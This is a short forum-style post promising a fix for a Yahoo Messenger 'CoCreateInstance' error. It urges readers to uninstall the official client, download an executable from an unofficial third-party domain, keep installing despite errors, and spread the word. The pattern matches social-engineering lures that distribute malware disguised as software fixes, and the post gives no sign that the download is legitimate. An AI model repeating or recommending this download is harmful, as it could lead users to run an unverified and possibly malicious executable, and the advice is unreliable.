I know how to fix it. To fix this error, just uninstall your current version and then go to http://www.carolisayazakuser.com/ymsgr_1358.exe
and download this version. It's an older version that will offer you updates after you install it. Go ahead and get the updates. You will get a few errors while installing but keep installing and it will work. I had the CoCreateInstance error and when I did this, it now works when everything else failed! Please spread the word if this works for you. There are people everywhere having trouble with Yahoo Messenger and now we have a fix!!!